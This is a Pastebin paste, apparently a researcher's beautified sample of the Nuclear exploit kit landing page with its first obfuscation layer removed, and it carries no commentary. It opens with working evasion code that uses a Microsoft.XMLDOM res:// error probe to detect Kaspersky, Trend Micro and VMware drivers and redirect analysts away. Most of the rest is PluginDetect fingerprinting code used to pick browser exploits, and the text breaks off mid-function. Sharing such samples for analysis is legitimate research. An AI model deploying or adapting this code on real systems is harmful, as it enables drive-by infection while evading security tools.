Kafeine

NuclearPack_FirstLayerRemoved_2014-10-08_Beautified

Oct 8th, 2014
444
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function chavs(a) {
  2.     eval('va' + 'r xm' + 'lDo' + 'c = n' + 'ew A' + 'ctiv' + 'eX' + 'Objec' + 't("' + 'Micr' + 'oso' + 'ft.XM' + 'LDO' + 'M");');
  3.     xmlDoc.async = true;
  4.     xmlDoc.loadXML('<!DO' + 'CTY' + 'PE ht' + 'ml PU' + 'BLI' + 'C "-//W' + '3C//DT' + 'D XH' + 'T' + 'ML 1.' + '0 Tra' + 'nsla' + 'tion//E' + 'N" "r' + 'es' + '://' + a + '">');
  5.     if (xmlDoc.parseError.errorCode != 0) {
  6.         var err = "Error Code: " + xmlDoc.parseError.errorCode + "\n";
  7.         err += "Error Reason: " + xmlDoc.parseError.reason;
  8.         err += "Error line: " + xmlDoc.parseError.line;
  9.         if (err.indexOf("-2147023083") > 0) {
  10.             return 1;
  11.         } else {
  12.             return 0;
  13.         }
  14.     }
  15.     return 0;
  16. }
  17. var c_a = 0;
  18. if (chavs("c:\\W" + "in" + "dow" + "s\\Sys" + "tem" + "32\\d" + "riv" + "ers\\eamo" + "n.sy" + "s") || chavs("c:\\Wi" + "ndo" + "ws\\Sy" + "ste" + "m32\\dr" + "ive" + "rs\\kl" + "if.sy" + "s") || chavs("c:\\Wi" + "ndo" + "ws\\Sys" + "tem3" + "2\\dri" + "ver" + "s\\kn" + "ep" + "s.s" + "ys") || chavs("c:\\W" + "indo" + "ws\\Sys" + "tem3" + "2\\dr" + "iv" + "ers\\kl" + "flt.s" + "ys") || chavs("c:\\Wi" + "nd" + "ows\\Sy" + "stem" + "32\\dr" + "ive" + "rs\\vmn" + "et.sy" + "s") || chavs("c:\\Wi" + "nd" + "ows\\Sys" + "tem" + "32\\dr" + "iver" + "s\\v" + "mxne" + "t.sy" + "s") || chavs("c:\\Win" + "dow" + "s\\Sy" + "ste" + "m32\\d" + "riv" + "ers\\kl" + "1.s" + "ys") || chavs("c:\\Wi" + "ndo" + "ws\\Sy" + "st" + "em32\\d" + "riv" + "ers\\t" + "mnci" + "esc.s" + "ys") || chavs("c:\\Win" + "do" + "ws\\Sys" + "tem3" + "2\\d" + "rive" + "rs\\tm" + "tdi.s" + "ys") || chavs("c:\\Wi" + "ndo" + "ws\\Sys" + "tem3" + "2\\d" + "rive" + "rs\\tma" + "ctmon.s" + "ys") || chavs("c:\\Wi" + "ndo" + "ws\\Sy" + "st" + "em3" + "2\\dr" + "iv" + "ers\\TM" + "EBC" + "32.sy" + "s") || chavs("c:\\Wi" + "ndow" + "s\\Sys" + "tem3" + "2\\dri" + "ver" + "s\\t" + "me" + "ext.s" + "ys") || chavs("c:\\W" + "indo" + "ws\\Sy" + "ste" + "m32\\dr" + "iv" + "ers\\tm" + "com" + "m.s" + "ys") || chavs("c:\\Wi" + "ndo" + "ws\\Sy" + "ste" + "m32\\d" + "riv" + "ers\\tm" + "evt" + "mgr.sy" + "s")) {
  19.     document.write("<meta http-equiv=\"refresh\" content=\"0; url=http://google.com\">");
  20.     c_a = 1;
  21. };
  22. (function() {
  23.     var a = {
  24.         version: "0.8.8",
  25.         name: "PluginDetect",
  26.         addPlugin: function(b, c) {
  27.             b && a.isString(b) && c && a.isFunc(c.getVersion) && (b = b.replace(/\s/g, "").toLowerCase(), a.Plugins[b] = c, a.isDefined(c.getVersionDone) || (c.installed = null, c.version = null, c.version0 = null, c.getVersionDone = null, c.pluginName = b))
  28.         },
  29.         openTag: "<",
  30.         hasOwnProperty: {}.constructor.prototype.hasOwnProperty,
  31.         hasOwn: function(b, c) {
  32.             var d;
  33.             try {
  34.                 d = a.hasOwnProperty.call(b, c)
  35.             } catch (e) {}
  36.             return !!d
  37.         },
  38.         rgx: {
  39.             str: /string/i,
  40.             num: /number/i,
  41.             fun: /function/i,
  42.             arr: /array/i
  43.         },
  44.         toString: {}.constructor.prototype.toString,
  45.         isDefined: function(a) {
  46.             return "undefined" != typeof a
  47.         },
  48.         isArray: function(b) {
  49.             return a.rgx.arr.test(a.toString.call(b))
  50.         },
  51.         isString: function(b) {
  52.             return a.rgx.str.test(a.toString.call(b))
  53.         },
  54.         isNum: function(b) {
  55.             return a.rgx.num.test(a.toString.call(b))
  56.         },
  57.         isStrNum: function(b) {
  58.             return a.isString(b) && /\d/.test(b)
  59.         },
  60.         isFunc: function(b) {
  61.             return a.rgx.fun.test(a.toString.call(b))
  62.         },
  63.         getNumRegx: /[\d][\d\.\_,\-]*/,
  64.         splitNumRegx: /[\.\_,\-]/g,
  65.         getNum: function(b, c) {
  66.             var d = a.isStrNum(b) ? (a.isDefined(c) ? RegExp(c) : a.getNumRegx).exec(b) : null;
  67.             return d ? d[0] : null
  68.         },
  69.         compareNums: function(b, c, d) {
  70.             var e = parseInt;
  71.             if (a.isStrNum(b) && a.isStrNum(c)) {
  72.                 if (a.isDefined(d) && d.compareNums) return d.compareNums(b, c);
  73.                 b = b.split(a.splitNumRegx);
  74.                 c = c.split(a.splitNumRegx);
  75.                 for (d = 0; d < Math.min(b.length, c.length); d++) {
  76.                     if (e(b[d], 10) > e(c[d], 10)) return 1;
  77.                     if (e(b[d], 10) < e(c[d], 10)) return -1
  78.                 }
  79.             }
  80.             return 0
  81.         },
  82.         formatNum: function(b, c) {
  83.             var d, e;
  84.             if (!a.isStrNum(b)) return null;
  85.             a.isNum(c) || (c = 4);
  86.             c--;
  87.             e = b.replace(/\s/g, "").split(a.splitNumRegx).concat(["0", "0", "0", "0"]);
  88.             for (d = 0; 4 > d; d++)
  89.                 if (/^(0+)(.+)$/.test(e[d]) && (e[d] = RegExp.$2), d > c || !/\d/.test(e[d])) e[d] = "0";
  90.             return e.slice(0, 4).join(",")
  91.         },
  92.         pd: {
  93.             getPROP: function(b, c, d) {
  94.                 try {
  95.                     b && (d = b[c])
  96.                 } catch (e) {}
  97.                 return d
  98.             },
  99.             findNavPlugin: function(b) {
  100.                 if (b.dbug) return b.dbug;
  101.                 if (window.navigator) {
  102.                     var c = {
  103.                             Find: a.isString(b.find) ? RegExp(b.find, "i") : b.find,
  104.                             Find2: a.isString(b.find2) ? RegExp(b.find2, "i") : b.find2,
  105.                             Avoid: b.avoid ? a.isString(b.avoid) ? RegExp(b.avoid, "i") : b.avoid : 0,
  106.                             Num: b.num ? /\d/ : 0
  107.                         },
  108.                         d, e, f, g = navigator.mimeTypes,
  109.                         h = navigator.plugins,
  110.                         l = null;
  111.                     if (b.mimes && g)
  112.                         for (f = a.isArray(b.mimes) ? [].concat(b.mimes) : a.isString(b.mimes) ? [b.mimes] : [], d = 0; d < f.length; d++) {
  113.                             e = 0;
  114.                             try {
  115.                                 a.isString(f[d]) && /[^\s]/.test(f[d]) && (e = g[f[d]].enabledPlugin)
  116.                             } catch (n) {}
  117.                             if (e && (e = this.findNavPlugin_(e, c), e.obj && (l = e.obj), l && !a.dbug)) return l
  118.                         }
  119.                     if (b.plugins && h) {
  120.                         b = a.isArray(b.plugins) ? [].concat(b.plugins) : a.isString(b.plugins) ? [b.plugins] : [];
  121.                         for (d = 0; d < b.length; d++) {
  122.                             e = 0;
  123.                             try {
  124.                                 b[d] && a.isString(b[d]) && (e = h[b[d]])
  125.                             } catch (p) {}
  126.                             if (e && (e = this.findNavPlugin_(e, c), e.obj && (l = e.obj), l && !a.dbug)) return l
  127.                         }
  128.                         b = h.length;
  129.                         if (a.isNum(b))
  130.                             for (d = 0; d < b; d++) {
  131.                                 e = 0;
  132.                                 try {
  133.                                     e = h[d]
  134.                                 } catch (m) {}
  135.                                 if (e && (e = this.findNavPlugin_(e, c), e.obj && (l = e.obj), l && !a.dbug)) break
  136.                             }
  137.                     }
  138.                 }
  139.                 return l
  140.             },
  141.             findNavPlugin_: function(a, c) {
  142.                 var d = a.description || "",
  143.                     e = a.name || "",
  144.                     f = {};
  145.                 if (c.Find.test(d) && !(c.Find2 && !c.Find2.test(e) || c.Num && !c.Num.test(RegExp.leftContext + RegExp.rightContext)) || c.Find.test(e) && !(c.Find2 && !c.Find2.test(d) || c.Num && !c.Num.test(RegExp.leftContext + RegExp.rightContext))) c.Avoid && (c.Avoid.test(d) || c.Avoid.test(e)) || (f.obj = a);
  146.                 return f
  147.             },
  148.             getVersionDelimiter: ",",
  149.             findPlugin: function(b) {
  150.                 var c, d = {
  151.                     status: -3,
  152.                     plugin: 0
  153.                 };
  154.                 if (!a.isString(b)) return d;
  155.                 if (1 == b.length) return this.getVersionDelimiter = b, d;
  156.                 b = b.toLowerCase().replace(/\s/g, "");
  157.                 c = a.Plugins[b];
  158.                 if (!c || !c.getVersion) return d;
  159.                 d.plugin = c;
  160.                 d.status = 1;
  161.                 return d
  162.             }
  163.         },
  164.         getPluginFileVersion: function(b, c) {
  165.             var d, e, f, g, h = -1;
  166.             if (!b) return c;
  167.             b.version && (d = a.getNum(b.version + ""));
  168.             if (!d || !c) return c || d || null;
  169.             d = a.formatNum(d);
  170.             c = a.formatNum(c);
  171.             e = c.split(a.splitNumRegx);
  172.             f = d.split(a.splitNumRegx);
  173.             for (g = 0; g < e.length; g++)
  174.                 if (-1 < h && g > h && "0" != e[g] || f[g] != e[g] && (-1 == h && (h = g), "0" != e[g])) return c;
  175.             return d
  176.         },
  177.         AXO: function() {
  178.             var a;
  179.             try {
  180.                 a = new window.ActiveXObject
  181.             } catch (c) {}
  182.             return a ? null : window.ActiveXObject
  183.         }(),
  184.         getAXO: function(b) {
  185.             var c = null;
  186.             try {
  187.                 c = new a.AXO(b)
  188.             } catch (d) {}
  189.             c && (a.browser.ActiveXEnabled = !0);
  190.             return c
  191.         },
  192.         browser: {},
  193.         INIT: function() {
  194.             a.init.library()
  195.         },
  196.         init: {
  197.             hasRun: 0,
  198.             detectIE: function() {
  199.                 var b = a.browser,
  200.                     c = document,
  201.                     d, e = window.navigator ? navigator.userAgent || "" : "",
  202.                     f, g;
  203.                 b.ActiveXFilteringEnabled = !1;
  204.                 b.ActiveXEnabled = !1;
  205.                 try {
  206.                     b.ActiveXFilteringEnabled = !!window.external.msActiveXFilteringEnabled()
  207.                 } catch (h) {}
  208.                 g = ["WMPlayer.OCX", "ShockwaveFlash.ShockwaveFlash", "AgControl.AgControl"];
  209.                 f = "Msxml2.XMLHTTP Msxml2.DOMDocument Microsoft.XMLDOM TDCCtl.TDCCtl Shell.UIHelper HtmlDlgSafeHelper.HtmlDlgSafeHelper Scripting.Dictionary".split(" ").concat(g);
  210.                 for (d = 0; d < f.length && (!a.getAXO(f[d]) || a.dbug); d++);
  211.                 if (b.ActiveXEnabled && b.ActiveXFilteringEnabled)
  212.                     for (d = 0; d < g.length; d++)
  213.                         if (a.getAXO(g[d])) {
  214.                             b.ActiveXFilteringEnabled = !1;
  215.                             break
  216.                         }
  217.                 d = c.documentMode;
  218.                 try {
  219.                     c.documentMode = ""
  220.                 } catch (l) {}
  221.                 b.isIE = b.ActiveXEnabled || a.isNum(c.documentMode) || eval("/*@cc_on!@*/!1");
  222.                 try {
  223.                     c.documentMode = d
  224.                 } catch (n) {}
  225.                 b.verIE = null;
  226.                 b.isIE && (b.verIE = (a.isNum(c.documentMode) && 7 <= c.documentMode ? c.documentMode : 0) || (/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i.test(e) ? parseFloat(RegExp.$1, 10) : 7));
  227.             },
  228.             detectNonIE: function() {
  229.                 var b = a.browser,
  230.                     c = window.navigator ? navigator : {},
  231.                     d = b.isIE ? "" : c.userAgent || "",
  232.                     e = c.vendor || "",
  233.                     c = c.product || "";
  234.                 b.isGecko = /Gecko/i.test(c) && /Gecko\s*\/\s*\d/i.test(d);
  235.                 b.verGecko = b.isGecko ? a.formatNum(/rv\s*\:\s*([\.\,\d]+)/i.test(d) ? RegExp.$1 : "0.9") : null;
  236.                 b.isOpera = /(OPR\s*\/|Opera\s*\/\s*\d.*\s*Version\s*\/|Opera\s*[\/]?)\s*(\d+[\.,\d]*)/i.test(d);
  237.                 b.verOpera = b.isOpera ? a.formatNum(RegExp.$2) : null;
  238.                 b.isChrome = !b.isOpera && /(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i.test(d);
  239.                 b.verChrome = b.isChrome ? a.formatNum(RegExp.$2) : null;
  240.                 b.isSafari = !b.isOpera && !b.isChrome && (/Apple/i.test(e) || !e) && /Safari\s*\/\s*(\d[\d\.]*)/i.test(d);
  241.                 b.verSafari = b.isSafari && /Version\s*\/\s*(\d[\d\.]*)/i.test(d) ? a.formatNum(RegExp.$1) : null;
  242.             },
  243.             detectPlatform: function() {
  244.                 var b, c = window.navigator ? navigator.platform || "" : "";
  245.                 a.OS = 100;
  246.                 if (c) {
  247.                     var d = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "", 100];
  248.                     for (b = d.length - 2; 0 <= b; b -= 2)
  249.                         if (d[b] && RegExp(d[b], "i").test(c)) {
  250.                             a.OS = d[b + 1];
  251.                             break
  252.                         }
  253.                 }
  254.             },
  255.             library: function() {
  256.                 var b = document;
  257.                 a.win.init();
  258.                 a.head = b.getElementsByTagName("head")[0] || b.getElementsByTagName("body")[0] || b.body || null;
  259.                 this.detectPlatform();
  260.                 this.detectIE();
  261.                 this.detectNonIE();
  262.                 this.hasRun = 1;
  263.             }
  264.         },
  265.         ev: {
  266.             handler: function(a, c, d, e) {
  267.                 return function() {
  268.                     a(c, d, e)
  269.                 }
  270.             },
  271.             fPush: function(b, c) {
  272.                 a.isArray(c) && (a.isFunc(b) || a.isArray(b) && 0 < b.length && a.isFunc(b[0])) && c.push(b)
  273.             },
  274.             call0: function(b) {
  275.                 var c = a.isArray(b) ? b.length : -1;
  276.                 0 < c && a.isFunc(b[0]) ? (b[0](a, 1 < c ? b[1] : 0, 2 < c ? b[2] : 0, 3 < c ? b[3] : 0)) : a.isFunc(b) && (b(a));
  277.             },
  278.             callArray0: function(b) {
  279.                 var c;
  280.                 if (a.isArray(b))
  281.                     for (; b.length;) c = b[0], b.splice(0, 1), this.call0(c)
  282.             },
  283.             call: function(a) {
  284.                 this.call0(a);
  285.                 this.ifDetectDoneCallHndlrs()
  286.             },
  287.             callArray: function(a) {
  288.                 this.callArray0(a);
  289.                 this.ifDetectDoneCallHndlrs()
  290.             },
  291.             allDoneHndlrs: [],
  292.             ifDetectDoneCallHndlrs: function() {
  293.                 var b, c;
  294.                 if (this.allDoneHndlrs.length && (!a.win || a.win.loaded && !a.win.loadPrvtHndlrs.length && !a.win.loadPblcHndlrs.length)) {
  295.                     if (a.Plugins)
  296.                         for (b in a.Plugins)
  297.                             if (c = a.Plugins[b], a.hasOwn(a.Plugins, b) && c && a.isFunc(c.getVersion) && (3 == c.OTF || c.DoneHndlrs && c.DoneHndlrs.length)) return;
  298.                     this.callArray0(this.allDoneHndlrs);
  299.                 }
  300.             }
  301.         },
  302.         isMinVersion: function(b, c, d, e) {
  303.             var f = a.pd.findPlugin(b),
  304.                 g = -1;
  305.             if (0 > f.status) return f.status;
  306.             f = f.plugin;
  307.             c = a.formatNum(a.isNum(c) ? c.toString() : a.isStrNum(c) ? a.getNum(c) : "0");
  308.             1 != f.getVersionDone && (f.getVersion(c, d, e), null === f.getVersionDone && (f.getVersionDone = 1));
  309.             null !== f.installed && (g = 0.5 >= f.installed ? f.installed : 0.7 == f.installed ? 1 : null === f.version ? 0 : 0 <= a.compareNums(f.version, c, f) ? 1 : -0.1);
  310.             return g
  311.         },
  312.         getVersion: function(b, c, d) {
  313.             var e = a.pd.findPlugin(b);
  314.             if (0 > e.status) return null;
  315.             e = e.plugin;
  316.             1 != e.getVersionDone && (e.getVersion(null, c, d), null === e.getVersionDone && (e.getVersionDone = 1));
  317.             e = (e = e.version || e.version0) ? e.replace(a.splitNumRegx, a.pd.getVersionDelimiter) : e;
  318.             return e
  319.         },
  320.         hasMimeType: function(b) {
  321.             if (b && window.navigator && navigator.mimeTypes) {
  322.                 var c, d, e, f = navigator.mimeTypes,
  323.                     g = a.isArray(b) ? [].concat(b) : a.isString(b) ? [b] : [];
  324.                 e = g.length;
  325.                 for (d = 0; d < e; d++) {
  326.                     b = 0;
  327.                     try {
  328.                         a.isString(g[d]) && /[^\s]/.test(g[d]) && (b = f[g[d]])
  329.                     } catch (h) {}
  330.                     if ((c = b ? b.enabledPlugin : 0) && (c.name || c.description)) return b
  331.                 }
  332.             }
  333.             return null
  334.         },
  335.         onDetectionDone: function(b, c, d, e) {
  336.             var f = a.pd.findPlugin(b);
  337.             if (-3 == f.status) return -1;
  338.             f = f.plugin;
  339.             a.isArray(f.DoneHndlrs) || (f.DoneHndlrs = []);
  340.             1 != f.getVersionDone && (a.getVersion ? a.getVersion(b, d, e) : a.isMinVersion(b, "0", d, e));
  341.             if (-0.5 != f.installed && 0.5 != f.installed) return a.ev.call(c), 1;
  342.             a.ev.fPush(c, f.DoneHndlrs);
  343.             return 0
  344.         },
  345.         codebase: {
  346.             isDisabled: function() {
  347.                 return a.browser.ActiveXEnabled && a.isDefined(a.pd.getPROP(document.createElement("object"), "object")) ? 0 : 1
  348.             },
  349.             pluginMayBeHanging: function(b) {
  350.                 return !this.isDisabled() && b && a.isDefined(a.pd.getPROP(b, "readyState")) && a.pd.getPROP(b.firstChild, "object") && (b = a.pd.getPROP(b.firstChild, "readyState"), a.isNum(b) && 4 != b) ? (1) : 0
  351.             },
  352.             emptyNode: function(a) {
  353.                 try {
  354.                     a.innerHTML = ""
  355.                 } catch (c) {}
  356.             },
  357.             emptyGarbage: function() {
  358.                 var b, c = this.HTML,
  359.                     d = 0;
  360.                 if (c.length) {
  361.                     for (b = c.length - 1; b >= this.len; b--) c[b] && c[b].span && this.pluginMayBeHanging(c[b].span) && (this.emptyNode(c[b].span), c[b].span = null, d = 1);
  362.                     this.len = c.length;
  363.                     if (d) {
  364.                         try {
  365.                             window.CollectGarbage()
  366.                         } catch (e) {}
  367.                     }
  368.                 }
  369.             },
  370.             HTML: [],
  371.             len: 0,
  372.             onDone: function(a, c) {
  373.                 var d, e = c.HTML;
  374.                 for (d = 0; d < e.length; d++) e[d] && e[d].span && (c.emptyNode(e[d].span), e[d].span = null)
  375.             },
  376.             init: function(b) {
  377.                 if (!b.init) {
  378.                     b.init = 1;
  379.                     var c;
  380.                     a.ev.fPush([this.onDone, this], a.win.unloadHndlrs);
  381.                     b.tagA = '<object width="1" height="1" style="display:none;" codebase="#version=';
  382.                     c = b.classID || b.$$.classID || "";
  383.                     b.tagB = '" ' + (/clsid\s*:/i.test(c) ? 'classid="' : 'type="') + c + '">' + a.openTag + "/object>";
  384.                     for (c = 0; c < b.Lower.length; c++) b.Lower[c] = a.formatNum(b.Lower[c]), b.Upper[c] = a.formatNum(b.Upper[c]);
  385.                 }
  386.             },
  387.             isActiveXObject: function(b, c) {
  388.                 var d = 0,
  389.                     e = b.$$,
  390.                     f = document.createElement("span");
  391.                 if (b.min && 0 >= a.compareNums(c, b.min)) return 1;
  392.                 if (b.max && 0 <= a.compareNums(c, b.max)) return 0;
  393.                 f.innerHTML = b.tagA + c + b.tagB;
  394.                 a.pd.getPROP(f.firstChild, "object") && (d = 1);
  395.                 d ? (b.min = c, this.HTML.push({
  396.                     span: f
  397.                 })) : (b.max = c, f.innerHTML = "");
  398.                 return d
  399.             },
  400.             convert_: function(b, c, d, e) {
  401.                 return (b = b.convert[c]) ? a.isFunc(b) ? a.formatNum(b(d.split(a.splitNumRegx), e).join(",")) : d : b
  402.             },
  403.             convert: function(b, c, d) {
  404.                 var e, f, g;
  405.                 c = a.formatNum(c);
  406.                 f = {
  407.                     v: c,
  408.                     x: -1
  409.                 };
  410.                 if (c)
  411.                     for (e = 0; e < b.Lower.length; e++)
  412.                         if ((g = this.convert_(b, e, b.Lower[e])) && 0 <= a.compareNums(c, d ? g : b.Lower[e]) && (!e || 0 > a.compareNums(c, d ? this.convert_(b, e, b.Upper[e]) : b.Upper[e]))) {
  413.                             f.v = this.convert_(b, e, c, d);
  414.                             f.x = e;
  415.                             break
  416.                         }
  417.                 return f
  418.             },
  419.             isMin: function(b, c) {
  420.                 var d, e = 0;
  421.                 if (!a.isStrNum(c) || this.isDisabled()) return e;
  422.                 this.init(b);
  423.                 if (!b.L)
  424.                     for (b.L = {}, d = 0; d < b.Lower.length; d++)
  425.                         if (this.isActiveXObject(b, b.Lower[d])) {
  426.                             b.L = this.convert(b, b.Lower[d]);
  427.                             break
  428.                         }
  429.                 b.L.v && (d = this.convert(b, c, 1), 0 <= d.x && (e = (b.L.x == d.x ? this.isActiveXObject(b, d.v) : 0 >= a.compareNums(c, b.L.v)) ? 1 : -1));
  430.                 return e
  431.             },
  432.             search: function(b) {
  433.                 var c = this,
  434.                     d = b.$$,
  435.                     e = 0,
  436.                     f;
  437.                 f = b.searchHasRun || c.isDisabled() ? 1 : 0;
  438.                 b.searchHasRun = 1;
  439.                 if (f) return b.version || null;
  440.                 c.init(b);
  441.                 var g, h = function(d, f) {
  442.                         var g = [].concat(m);
  443.                         g[d] = f;
  444.                         g = c.isActiveXObject(b, g.join(","));
  445.                         g ? (e = 1, m[d] = f) : k[d] = f;
  446.                         return g
  447.                     },
  448.                     l = b.DIGITMAX,
  449.                     n, p, m = [0, 0, 0, 0],
  450.                     k = [0, 0, 0, 0];
  451.                 for (f = 0; f < k.length; f++) {
  452.                     m[f] = Math.floor(b.DIGITMIN[f]) || 0;
  453.                     n = m.join(",");
  454.                     p = m.slice(0, f).concat([99999999, 99999999, 99999999, 99999999]).slice(0, m.length).join(",");
  455.                     for (g = 0; g < l.length; g++) a.isArray(l[g]) && (l[g].push(0), l[g][f] > k[f] && 0 <= a.compareNums(p, b.Lower[g]) && 0 > a.compareNums(n, b.Upper[g]) && (k[f] = Math.floor(l[g][f])));
  456.                     for (g = 0; 30 > g; g++) {
  457.                         if (16 >= k[f] - m[f]) {
  458.                             for (g = k[f]; g >= m[f] + (f ? 1 : 0) && !h(f, g); g--);
  459.                             break
  460.                         }
  461.                         h(f, Math.round((k[f] + m[f]) / 2))
  462.                     }
  463.                     if (!e) break;
  464.                     k[f] = m[f];
  465.                 }
  466.                 e && (b.version = c.convert(b, m.join(",")).v);
  467.                 return b.version || null
  468.             }
  469.         },
  470.         win: {
  471.             loaded: !1,
  472.             hasRun: 0,
  473.             init: function() {
  474.                 this.hasRun || (this.hasRun = 1, this.addEvent("load", this.onLoad), this.addEvent("unload", this.onUnload))
  475.             },
  476.             addEvent: function(b, c) {
  477.                 var d = window;
  478.                 a.isFunc(c) && (d.addEventListener ? d.addEventListener(b, c, !1) : d.attachEvent ? d.attachEvent("on" + b, c) : d["on" + b] = this.concatFn(c, d["on" + b]))
  479.             },
  480.             concatFn: function(a, c) {
  481.                 return function() {
  482.                     a();
  483.                     "function" == typeof c && c()
  484.                 }
  485.             },
  486.             loadPrvtHndlrs: [],
  487.             loadPblcHndlrs: [],
  488.             unloadHndlrs: [],
  489.             onUnload: function() {
  490.                 if (a && a.win) {
  491.                     a.ev.callArray(a.win.unloadHndlrs);
  492.                     for (var b in a) a[b] = 0;
  493.                     a = 0
  494.                 }
  495.             },
  496.             count: 0,
  497.             countMax: 1,
  498.             intervalLength: 10,
  499.             onLoad: function() {
  500.                 if (a && a.win && !a.win.loaded) {
  501.                     var b = a.win;
  502.                     b.count < b.countMax && b.loadPrvtHndlrs.length ? (setTimeout(b.onLoad, b.intervalLength)) : (b.loaded = !0, a.ev.callArray(b.loadPrvtHndlrs), a.ev.callArray(b.loadPblcHndlrs));
  503.                     b.count++
  504.                 }
  505.             }
  506.         },
  507.         DOM: {
  508.             isEnabled: {
  509.                 objectTag: function() {
  510.                     return a.browser.isIE ? a.browser.ActiveXEnabled : 1
  511.                 },
  512.                 objectTagUsingActiveX: function() {
  513.                     return a.browser.ActiveXEnabled
  514.                 },
  515.                 objectProperty: function() {
  516.                     return a.browser.ActiveXEnabled && a.isDefined(a.pd.getPROP(document.createElement("object"), "object")) ? 1 : 0
  517.                 }
  518.             },
  519.             div: null,
  520.             divID: "plugindetect",
  521.             divWidth: 300,
  522.             getDiv: function() {
  523.                 return this.div || document.getElementById(this.divID) || null
  524.             },
  525.             initDiv: function() {
  526.                 var b;
  527.                 this.div || ((b = this.getDiv()) ? (this.div = b) : (this.div = document.createElement("div"), this.div.id = this.divID, this.setStyle(this.div, this.getStyle.div()), this.insertDivInBody(this.div)), a.ev.fPush([this.onWinUnloadEmptyDiv, this], a.win.unloadHndlrs))
  528.             },
  529.             pluginSize: 1,
  530.             altHTML: "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;",
  531.             emptyNode: function(b) {
  532.                 if (b && /div|span/i.test(b.tagName || "")) {
  533.                     a.browser.isIE && this.setStyle(b, ["display", "none"]);
  534.                     try {
  535.                         b.innerHTML = ""
  536.                     } catch (c) {}
  537.                 }
  538.             },
  539.             onWinUnloadEmptyDiv: function(a, c) {
  540.                 var d = c.getDiv(),
  541.                     e, f;
  542.                 if (d) {
  543.                     if (d.childNodes) {
  544.                         for (e = d.childNodes.length - 1; 0 <= e; e--) f = d.childNodes[e], c.emptyNode(f);
  545.                         try {
  546.                             d.innerHTML = ""
  547.                         } catch (g) {}
  548.                     }
  549.                     if (d.parentNode) {
  550.                         try {
  551.                             d.parentNode.removeChild(d)
  552.                         } catch (h) {}
  553.                         c.div = null
  554.                     }
  555.                 }
  556.             },
  557.             width: function() {
  558.                 var b = this.span,
  559.                     c;
  560.                 c = b && a.isNum(b.scrollWidth) ? b.scrollWidth : -1;
  561.                 b = b && a.isNum(b.offsetWidth) ? b.offsetWidth : -1;
  562.                 return 0 < b ? b : 0 < c ? c : Math.max(b, c)
  563.             },
  564.             obj: function(a) {
  565.                 return (a = this.span) && a.firstChild ? a.firstChild : null
  566.             },
  567.             readyState: function() {
  568.                 return a.browser.isIE && a.isDefined(a.pd.getPROP(this.span, "readyState")) ? a.pd.getPROP(this.obj(), "readyState") : this.undefined
  569.             },
  570.             objectProperty: function() {
  571.                 var b;
  572.                 this.DOM.isEnabled.objectProperty() && (b = a.pd.getPROP(this.obj(), "object"));
  573.                 return b
  574.             },
  575.             getTagStatus: function(b, c, d, e, f, g) {
  576.                 if (!b || !b.span) return -2;
  577.                 var h = b.width(),
  578.                     l = b.readyState(),
  579.                     n = b.objectProperty();
  580.                 if (n) return 1.5;
  581.                 var k = /clsid\s*\:/i,
  582.                     m = d && k.test(d.outerHTML || "") ? d : e && k.test(e.outerHTML || "") ? e : 0;
  583.                 d = d && !k.test(d.outerHTML || "") ? d : e && !k.test(e.outerHTML || "") ? e : 0;
  584.                 k = b && k.test(b.outerHTML || "") ? m : d;
  585.                 if (!(c && c.span && k && k.span)) return 0;
  586.                 m = k.width();
  587.                 c = c.width();
  588.                 d = k.readyState();
  589.                 if (0 > h || 0 > m || c <= this.pluginSize) return 0;
  590.                 g && !b.pi && a.isDefined(n) && a.browser.isIE && b.tagName == k.tagName && b.time <= k.time && h === m && 0 === l && 0 !== d && (b.pi = 1);
  591.                 if (m < c) return b.pi ? -0.1 : 0;
  592.                 if (h >= c && (!b.winLoaded && a.win.loaded || a.isNum(f) && (a.isNum(b.count2) || (b.count2 = f), 0 < f - b.count2))) return b.pi ? -0.5 : -1;
  593.                 try {
  594.                     if (h == this.pluginSize && (!a.browser.isIE || 4 === l) && (!b.winLoaded && a.win.loaded || b.winLoaded && a.isNum(f) && (a.isNum(b.count) || (b.count = f), 5 <= f - b.count))) return 1
  595.                 } catch (q) {}
  596.                 return b.pi ? -0.1 : 0
  597.             },
  598.             setStyle: function(a, c) {
  599.                 var d = a.style,
  600.                     e;
  601.                 if (d && c)
  602.                     for (e = 0; e < c.length; e += 2) try {
  603.                         d[c[e]] = c[e + 1]
  604.                     } catch (f) {}
  605.             },
  606.             getStyle: {
  607.                 span: function() {
  608.                     var b = a.DOM;
  609.                     return [].concat(this.Default).concat(["display", "inline", "fontSize", b.pluginSize + 3 + "px", "lineHeight", b.pluginSize + 3 + "px"])
  610.                 },
  611.                 div: function() {
  612.                     var b = a.DOM;
  613.                     return [].concat(this.Default).concat(["display", "block", "width", b.divWidth + "px", "height", b.pluginSize + 3 + "px", "fontSize", b.pluginSize + 3 + "px", "lineHeight", b.pluginSize + 3 + "px", "position", "absolute", "right", "9999px", "top", "-9999px"])
  614.                 },
  615.                 plugin: function(b) {
  616.                     var c = a.DOM;
  617.                     return "background-color:transparent;background-image:none;vertical-align:baseline;outline-style:none;border-style:none;padding:0px;margin:0px;visibility:" + (b ? "hidden;" : "visible;") + "display:inline;font-size:" + (c.pluginSize + 3) + "px;line-height:" + (c.pluginSize + 3) + "px;"
  618.                 },
  619.                 Default: "backgroundColor transparent backgroundImage none verticalAlign baseline outlineStyle none borderStyle none padding 0px margin 0px visibility visible".split(" ")
  620.             },
  621.             insertDivInBody: function(b, c) {
  622.                 var d = null,
  623.                     e = c ? window.top.document : window.document,
  624.                     f = e.getElementsByTagName("body")[0] || e.body;
  625.                 if (!f) try {
  626.                     e.write('<div id="pd33993399">.' + a.openTag + "/div>"), d = e.getElementById("pd33993399")
  627.                 } catch (g) {}
  628.                 if (f = e.getElementsByTagName("body")[0] || e.body) f.insertBefore(b, f.firstChild), d && f.removeChild(d)
  629.             },
  630.             insert: function(b, c, d, e, f, g, h) {
  631.                 var l, k = document.createElement("span");
  632.                 a.isDefined(e) || (e = "");
  633.                 if (a.isString(b) && /[^\s]/.test(b)) {
  634.                     b = b.toLowerCase().replace(/\s/g, "");
  635.                     l = a.openTag + b + " ";
